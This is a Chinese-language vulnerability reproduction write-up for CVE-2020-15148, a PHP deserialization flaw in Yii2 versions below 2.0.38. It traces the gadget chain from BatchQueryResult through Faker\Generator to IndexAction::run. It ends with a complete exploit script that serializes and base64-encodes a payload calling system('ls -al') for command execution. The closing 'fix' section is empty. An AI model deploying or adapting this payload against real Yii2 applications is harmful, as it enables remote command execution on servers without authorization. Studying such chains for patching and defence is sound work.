参考资料
https://xz.aliyun.com/t/8307
前言
漏洞编号:CVE-2020-15148
漏洞版本 < 2.0.38
Download:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
漏洞复现
漏洞位置:www/vendor/yiisoft/yii2/db/BatchQueryResult.php
1 2 3 4 5
| 79 public function __destruct() 80 { 81 82 $this->reset(); 83 }
|
BatchQueryResult类的魔术方法__destruct调用了reset方法,继续跟进reset方法。
1 2 3 4 5 6 7 8 9 10
| 89 public function reset() 90 { 91 if ($this->_dataReader !== null) { 92 $this->_dataReader->close(); 93 } 94 $this->_dataReader = null; 95 $this->_batch = null; 96 $this->_value = null; 97 $this->_key = null; 98 }
|
代码92行调用了_dataReader属性的close方法。众所周知,反序列化类的属性我们是可控的,所以此处的_dataReader属性调用了不可访问的close方法的话就会触发__call魔术方法。
全局搜索可用的call方法
其中www/vendor/fzaninotto/faker/src/Faker/Generator.php中Faker类的call方法可进行调用
1 2 3 4
| 283 public function __call($method, $attributes) 284 { 285 return $this->format($method, $attributes); 286 }
|
跟进format方法
1 2 3 4
| 226 public function format($formatter, $arguments = array()) 227 { 228 return call_user_func_array($this->getFormatter($formatter), $arguments); 229 }
|
虽然这里有call_user_func_array函数可以利用,但是$arguments变量不可控,所以利用此处作为一个跳板寻找其他链继续构造。
正则匹配可利用的函数call_user_func($this->\w+,\s?$this->\w+,(记得开启正则匹配)这条正则只匹配函数内的参数(形参)是成员属性的。
利用IndexAction类的run方法来构造命令执行:(属性都是可控的),最终的pop链大概是这样子的,图比较抽象。。能理解就行
1 2 3 4 5 6 7 8
| 76 public function run() 77 { 78 if ($this->checkAccess) { 79 call_user_func($this->checkAccess, $this->id); 80 } 81 82 return $this->prepareDataProvider(); 83 }
|
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
namespace yii\rest { class IndexAction { public $checkAccess; public $id;
public function __construct() { $this->checkAccess = 'system'; $this->id = 'ls -al'; } } }
namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters;
public function __construct() { $this->formatters['close'] = [new IndexAction, 'run']; } } }
namespace yii\db { use Faker\Generator;
class BatchQueryResult { private $_dataReader;
public function __construct() { $this->_dataReader = new Generator; } } }
namespace { echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
|
漏洞修复